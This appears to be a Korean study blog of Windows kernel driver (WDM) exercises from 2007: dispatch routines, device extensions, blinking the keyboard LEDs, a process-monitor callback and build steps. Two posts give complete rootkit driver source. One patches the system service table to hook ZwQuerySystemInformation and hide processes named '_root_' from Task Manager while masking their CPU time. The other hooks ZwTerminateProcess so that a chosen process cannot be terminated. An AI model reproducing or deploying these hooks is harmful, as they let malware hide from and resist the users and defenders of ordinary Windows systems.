1. CreateFile(), WriteFile(), ReadFile(), CloseHandle() 를 Dispatch

more..


2. Bufferd I/O 를 사용한 Dispatch

more..


3. DeviceIoControl 을 사용한 Dispatch

more..


4. IRP_MJ_DEVICE_CONTROL( DispatchDeviceIoControl ) 사용한 Dispatch ( Event )

more..


Tag |

WDM 실습 - Kernel 의 Device Extension

from Study/WDM 2007/11/30 21:44 view 27256
1. User모드 와 통신
- 객체 : data(상태) - 따로 있어야 한다.
           함수(동작) - 모든 객체가 하나의 함수를 사용해도 된다.
사용자 삽입 이미지
- 드라이버는 하나가 있어도 되지만 실제 장치가 2개이상이 있다면 각 장치마다의 상태를 따로 관리해야 한다.
- 디바이스 Object 는 링크드 리스트로 각 장치의 상태(잉크잔량,종이)등을 저장하고 있다.
- 디바이스 Object는 버퍼하나를 가리키는 포인터를 하나 가지고 있다.( Device Extension ) 디바이스당 하나!!
- 심볼릭 링크를 사용하여 유저모드에서 접근을 가능하게 해준다. CreateFile() 로 접근할 수 있다.

- ( WinObj 툴을 사용하여 확인 해볼 수 있다. ) : Global?? 심볼릭 링크..
 
1) Device Object 를 생성 : Device Extension을 정의 해주고 심볼릭 링크를 통해 얻어온다.
2) Unload는 반드시 디바이스 만들기 전에 지정 - 만들다 실패 했을 때 unload가 안되는 상황을 피한다.

예제소스 ~
ex1) 드라이버 소스 심볼릭을 만들어 준다. Device Extension 버퍼에 값을 넣어준다.

more..


ex2) User Mode 에서 CreateFile 로 접근

more..




Tag |

WDM 실습 - 간단한 키보드 제어

from Study/WDM 2007/11/30 19:54 view 30068
1. H/W 제어
- IRQ( Interrupt request ) : 15개의 인터럽트를 갖는다.
- CPU는 8259 칩 2개를 사용하여 입력포트를 늘린다.(7개(1개는 다른 8259칩이랑 연결) + 8개 )
http://dblab.co.kr/entry/1016화-이론-2-Hook

- 60, 64번포트를 사용하여 읽어오고 내보낸다.
- out, in 특정 포트를 사용하는 기본적인 명령어 이다.(인텔명령어)
- 호환성을 높이기 위한 MS는 매크로를 만들어 놨다.
 => WRITE_PORT_CHAR(), READ_PORT_CHAR()       // HAL( hardware abstract layer )

=> 키보드에 달려있는 3개의 LED를 깜박인다. (-_-..안되는 것도 있다. )
#include "ntddk.h"
#include <stdio.h>

VOID rootkit_command_thread(PVOID context);
HANDLE gWorkerThread;
PKTIMER    gTimer;
PKDPC    gDPCP;
UCHAR g_key_bits = 0;

// commands
#define READ_CONTROLLER        0x20
#define WRITE_CONTROLLER    0x60

// command bytes
#define SET_LEDS            0xED
#define KEY_RESET            0xFF

// responses from keyboard
#define KEY_ACK                0xFA    // ack
#define KEY_AGAIN            0xFE    // send again

// 8042 ports
// when you read from port 64, this is called STATUS_BYTE
// when you write to port 64, this is called COMMAND_BYTE
// read and write on port 64 is called DATA_BYTE
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL        0x02
#define OBUFFER_FULL        0x01

// flags for keyboard LEDS
#define SCROLL_LOCK_BIT        (0x01 << 0)
#define NUMLOCK_BIT            (0x01 << 1)
#define CAPS_LOCK_BIT        (0x01 << 2)

ULONG WaitForKeyboard()
{
    char _t[255];
    int i = 100;    // number of times to loop
    UCHAR mychar;
   
    DbgPrint("waiting for keyboard to become accecssable\n");
    do
    {
        mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

        KeStallExecutionProcessor(666);

        _snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n", mychar);
        DbgPrint(_t);

        if(!(mychar & IBUFFER_FULL)) break;    // if the flag is clear, we go ahead
    }
    while (i--);

    if(i) return TRUE;
    return FALSE;
}

// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
    char _t[255];
    int i = 100;    // number of times to loop
    UCHAR c;
   
    DbgPrint("draining keyboard buffer\n");
    do { c = READ_PORT_UCHAR(KEYBOARD_PORT_64); KeStallExecutionProcessor(666); _snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n", c);
        DbgPrint(_t);

        if(!(c & OBUFFER_FULL)) break;    // if the flag is clear, we go ahead
   
        // gobble up the byte in the output buffer
        c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
       
        _snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n", c);
        DbgPrint(_t);
    }
    while (i--);
}

// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
    char _t[255];
   
   
    if(TRUE == WaitForKeyboard())
    {
        DrainOutputBuffer();

        _snprintf(_t, 253, "SendKeyboardCommand::sending byte %02X to port 0x60\n", theCommand);
        DbgPrint(_t);

        WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
       
        DbgPrint("SendKeyboardCommand::sent\n");
    }
    else
    {
        DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");
        return FALSE;
    }
   
    // TODO: wait for ACK or RESEND from keyboard   
   
    return TRUE;
}

void SetLEDS( UCHAR theLEDS )
{
    // setup for setting LEDS
    if(FALSE == SendKeyboardCommand( 0xED ))
    {
        DbgPrint("SetLEDS::error sending keyboard command\n");
    }

    // send the flags for the LEDS
    if(FALSE == SendKeyboardCommand( theLEDS ))
    {
        DbgPrint("SetLEDS::error sending keyboard command\n");
    }
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("ROOTKIT: OnUnload called\n");
    KeCancelTimer( gTimer );
    ExFreePool( gTimer );
    ExFreePool( gDPCP );
}

// called periodically
VOID timerDPC(    IN PKDPC Dpc,
                IN PVOID DeferredContext,
                IN PVOID sys1,
                IN PVOID sys2)
{
    SetLEDS( g_key_bits++ );
    if(g_key_bits > 0x07) g_key_bits = 0;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    LARGE_INTEGER timeout;

    theDriverObject->DriverUnload  = OnUnload;

    // these objects must be non paged
    gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
    gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));

    timeout.QuadPart = -10;

    KeInitializeTimer( gTimer );
    KeInitializeDpc( gDPCP, timerDPC, NULL );

    if(TRUE == KeSetTimerEx( gTimer, timeout, 300, gDPCP))    // 300 ms timer   
    {
        DbgPrint("Timer was already queued..");
    }

    return STATUS_SUCCESS;
}
Tag |

WDM 실습 - HideProcess ( DKOM )

from Study/WDM 2007/11/30 16:38 view 32639
1. HideProcess - "_root_" 에서 지정한 프로세스를 작업관리자 목록에서 숨긴다.
- 참고 : DKOM 기법 개념 , DKOM PDF
- EnumProcess() 는 Tool Help API 이고 결국엔 ZwQuerySystemInfomation 를 호출한다.
- 모든 프로세스는 커널레벨에서 EPROCESS가 링크드리스트로 연결되어 있다.

- InitSystemProcess 링크드리스트의 연결을 임의적으로 바꾼다
(DKOM : Direct Kernel Object Manipulation ) 이라고 부른다.
- EPROCESS 링크드 리스트를 임의로 수정해도 스레드리스트에 있다면 작동은 한다. 스레드리스트와 링크드리스트를 비교해서 숨겨놓은 프로세스를 찾아 낼 수 있다.( ....)

- ZwQueryDirectory() 후킹하면 폴더를 감출 수 있습니다.
- Driver 또한 Hide 할 수 있다.(....)

- 소스는 rootkit 에서 참고.

#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) \
         KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
        LARGE_INTEGER                    IdleTime;
        LARGE_INTEGER                    KernelTime;
        LARGE_INTEGER                    UserTime;
        LARGE_INTEGER                    DpcTime;
        LARGE_INTEGER                    InterruptTime;
        ULONG                            InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER                    m_UserTime;
LARGE_INTEGER                    m_KernelTime;

///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,    // 얻고 싶은 정보의 종류( 5이면 프로세스 관련 )
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   // 원래의 커널 함수를 먼저 호출해서 프로세스의 정보를 버퍼에 담아온다.
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                    SystemInformationClass,
                    SystemInformation,
                    SystemInformationLength,
                    ReturnLength );

   if( NT_SUCCESS(ntStatus))
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)    // 프로세스 정보를 꺼내고 있다면...
      {
         // This is a query for the process list.
         // Look for process names that start with
         // '_root_' and filter them out.
                   
         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
        
         while(curr)
         {
            //DbgPrint("Current item is %x\n", curr);
            if (curr->ProcessName.Buffer != NULL)
            {
                if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
                {
                    m_UserTime.QuadPart += curr->UserTime.QuadPart;
                    m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

                    if(prev) // Middle or Last entry
                    {
                        if(curr->NextEntryDelta)
                            prev->NextEntryDelta += curr->NextEntryDelta;
                        else    // we are last, so make prev the end
                            prev->NextEntryDelta = 0;
                    }
                    else
                    {
                        if(curr->NextEntryDelta)
                        {
                            // we are first in the list, so move it forward
                            (char *)SystemInformation += curr->NextEntryDelta;
                        }
                        else // we are the only process!
                            SystemInformation = NULL;
                    }
                }
            }
            else // This is the entry for the Idle process
            {
               // Add the kernel and user times of _root_*
               // processes to the Idle process.
               curr->UserTime.QuadPart += m_UserTime.QuadPart;
               curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

               // Reset the timers for next time we filter
               m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            }
            prev = curr;
            if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
            else curr = NULL;
         }
      }
      else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
      {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
      }

   }
   return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("ROOTKIT: OnUnload called\n");

   // unhook system calls
   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   // Unlock and Free MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                     IN PUNICODE_STRING theRegistryPath)
{
   // Register a dispatch function for Unload
   theDriverObject->DriverUnload  = OnUnload;

   // Initialize global times to zero
   // These variables will account for the
   // missing time our hidden processes are
   // using.
   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

   // save old system call locations
   OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

   // Map the memory into our domain so we can change the permissions on the MDL
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   // Change the flags of the MDL
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   // hook system calls
   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                             
   return STATUS_SUCCESS;
}

Tag | ,
1. PID를 알고 있을 때 작업관리자에서 프로세스 종료시 종료되지 않는 드라이버.

//3. SDT Hooking

#include <ntddk.h>

// 함수 이름(주소)를 가지고 SDT 서비스 번호를 얻어내는 매크로
#define SERIVCE_ID( f )        *(ULONG*)( (char*)f + 1 )

// SDT Table의 각항목을 구성하는 구조체
#pragma pack(1)    // 1 Byte 단위로 align(정렬)하라는 지시어
typedef struct ServiceDescriptorEntry
{
    unsigned int*   ServiceTableBase; // 함수 주소
    unsigned int*   ServiceCounterTableBase;
    unsigned int    NumberOfServices;
    unsigned char*  ParamTableBase;
} ServiceDescriptorTableEntry_t;
#pragma pack()

// ntoskrnl.exe 에서는 SDT Table을 export 하고 있다.
__declspec(dllimport) ServiceDescriptorTableEntry_t
                                            KeServiceDescriptorTable;

// ntoskrnl.exe 가 가진 ZwTerminateProcess를 import 한다.
// Hooking 에 대상이 되는 함수를 import
__declspec(dllimport)
        NTSTATUS __stdcall ZwTerminateProcess( HANDLE handle, NTSTATUS ExitCode);

// 원래 함수의 주소를 보관하고 있어야 한다.
typedef NTSTATUS (__stdcall *FUNC)(HANDLE, NTSTATUS );
FUNC old; // 원래 함수의 주소를 담아둘 변수.

// 새로운 함수
NTSTATUS __stdcall foo( HANDLE handle, NTSTATUS ExitCode )
{
    DbgPrint("TerminateProcess is Called : %x", handle );

    if ( handle != (HANDLE)0 && handle != (HANDLE)-1 )    // 자기 스스로 죽는 ExitProcess 일 경우 제외
    {
        PVOID pEprocess = 0;    // 계산기의 EPROcESS의 주소를 담을 변수
        OBJECT_HANDLE_INFORMATION obj_handle;    // 핸들의 관한 정보(상속여부등)를 얻어 올 변수

        // User Level 에서 사용하던 핸들을 가지고 커널메모리에 있는 구조체의 주소를 직접 얻는다.
        // 이때 참조 개수가 증가한다.
        NTSTATUS status = ObReferenceObjectByHandle(
            handle,
            GENERIC_ALL,
            NULL,
            KernelMode,
            &pEprocess,
            &obj_handle );

        if( pEprocess != 0 )
        {
            // ObjectTable에 등록된 주소(물리주소)의 0x84에(xp,2003) PID값이 저장되어 있다.
            int id = *((int*)((char*)pEprocess + 0x84));

            if( id == 2648 ) // PID 값을 조사
            {
                DbgPrint("no kill");
                return STATUS_SUCCESS;
            }
            // 구조체를 다 사용했으므로 참조개수를 줄인다.
            ObDereferenceObject( pEprocess );
        }
    }
    // 기존의 함수로 다시 보낸다.
    return old( handle, ExitCode );
}

// 실제 SDT 훅을 하는 함수.
void InstallSDTHook()
{
    // 함수의 서비스 번호를 구한다.
    int id = SERIVCE_ID(ZwTerminateProcess);
   
    DbgPrint("ZwTerminateProcess service ID : %d", id );

    // 원래 함수의 주소를 보관해 둔다.
    old = (FUNC)KeServiceDescriptorTable.ServiceTableBase[ id ];

    __asm { CLI }   // interrupt 중지 - 다른 스레드가 실행흐름을 중지시키지 못하게 한다.(커널모드만 가능)

    // SDT Table을 수정(Hooking) 한다.
    KeServiceDescriptorTable.ServiceTableBase[ id ] = (unsigned int)foo;

    __asm { STI }    // interrupt 다시 시작 - 다른 스레드로의 전환(Context Switch) 를 가능하게 한다.
}

void UninstallSDTHook()
{
    int id = SERIVCE_ID(ZwTerminateProcess);
   
    __asm { CLI }   // interrup 중지

    // SDT 를 다시 원래대로 변경해 놓는다.
    KeServiceDescriptorTable.ServiceTableBase[ id ] = (unsigned int)old;

    __asm { STI }
}

VOID DriverUnload( PDRIVER_OBJECT pDrvObj )
{
    UninstallSDTHook();
    DbgPrint( "Driver Unload" );
}

NTSTATUS DriverEntry( PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath )
{
    DbgPrint("DriverEntry");

    pDrvObj->DriverUnload = DriverUnload;
    InstallSDTHook();
    return STATUS_SUCCESS;
}
Tag |

WDM 실습 - 작업관리자 흉내내기

from Study/WDM 2007/11/28 20:14 view 29819

1. 작업관리자 흉내내기. ( 서비스의 시작과 스톱을 신중히 하지 않는다면 블루스크린 )

// 프로세스의 생성/파괴를 감시하는 드라이버

#include <ntddk.h>

VOID foo( HANDLE ParentID, HANDLE ProcessID, BOOLEAN Create )
{
    if( Create == TRUE )
    {
        DbgPrint( "Process Created : %d, %d", ProcessID, ParentID );
    }
    else
    {
        DbgPrint( "Process Terminated : %d, %d", ProcessID, ParentID );
    }
}

VOID DriverUnload( PDRIVER_OBJECT pDrvObj )
{
    DbgPrint( "Driver Unload" );

    // 반드시 Callback 함수를 제거하고 unload 되어야 한다.
    PsSetCreateProcessNotifyRoutine( foo, TRUE );
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj            // DRIVER_OBJECT 객체의 주소
                     , PUNICODE_STRING pRegPath )    // 설치된 레지스트리 경로
{
    DbgPrint( "DriverEntry : %p", pDrvObj );

    // 드라이버가 unload 될때 호출될 함수를 등록한다.
    pDrvObj->DriverUnload = DriverUnload;

    // 프로세스 감시 함수를 등록한다.
    PsSetCreateProcessNotifyRoutine( foo, FALSE );

    return STATUS_SUCCESS;
}

WDM 기본 - 빌드

from Study/WDM 2007/11/28 20:10 view 53810
1. 기본 동작방식
 1) 소스제작 -> 빌드 -> 설치 -> 시동 -> 중지 -> 제거

  - 소스제작
//1. 가장 가단한 드라이버
#include <ntddk.h>

VOID DriverUnload( PDRIVER_OBJECT pDrvObj )
{
    DbgPrint( "Driver Unload" );    // 이 메세지는 커널 디버거에게 전달된다.
                                              // 이 메세지를 보려면 winDbg 또는 softice 또는 DebugView 가 필요
}

// 드라이버의 EntryPoint - 반드시 C 맹글링 규칙을 따라야 한다.
NTSTATUS DriverEntry( PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath )
{
    DbgPrint( "DriverEntry" );

    pDrvObj->DriverUnload = DriverUnload;    // 드라이버가 unload 될 때 호출 될 함수 등록

    return STATUS_SUCCESS;
}

 - 빌드
1. 설치된 DDK의 Windows XP Checked Build Environment 프롬프트를 사용하여 빌드한다.
2. MakeFile 과 Sources 파일이 필요하며 Sources만 편집하여 빌드 'build' 하면 된다.
3. 주의 해야 할점은 소스는 .c 로 되어야 하며 한글경로가 포함 되어 있으면 build가 되지 않는다.

- 설치, 시동, 중지, 제거
1. 레지스토리 편집기(regedit)에서 HKEY_LOCAL_MACHINE\SYSTEM 경로에 레지스토리를 등록한다.
  1) 직접 수정해서 등록한다.
  2) 서비스 API 함수를 사용하는 프로그램을 제작하여 등록한다.(Software 드라이버)
  3) inf 파일을 제작하여 등록한다.(Hardware 드라이버)
  4) Setup API를 사용한다.
2. 서비스의 설치 시작 정지 삭제는 나중에 알아보고 일단 EnumService.exe를 사용한다.

Tag |